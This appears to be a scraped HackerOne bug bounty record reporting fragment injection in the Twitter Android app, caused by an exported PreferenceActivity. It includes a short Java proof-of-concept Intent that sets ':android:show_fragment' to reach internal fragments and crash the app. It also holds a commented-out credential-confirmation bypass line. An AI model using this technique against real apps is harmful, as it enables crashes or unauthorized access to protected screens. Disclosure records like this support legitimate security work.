Twitter: twitter android app Fragment Injection

ID H1:43988
Type hackerone
Reporter miantaiduo
Modified 2015-04-11T23:57:14

Description extend PreferenceActivity and export. By entering the appropriate extra intent can call any of its internal fragment. So do not export (

POC:(can make app crash) private void testtwitter(){ Intent i = new Intent(); i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); i.setClassName("",""); i.putExtra(":android:show_fragment",""); //i.putExtra("confirmcredentials",false); startActivity(i); }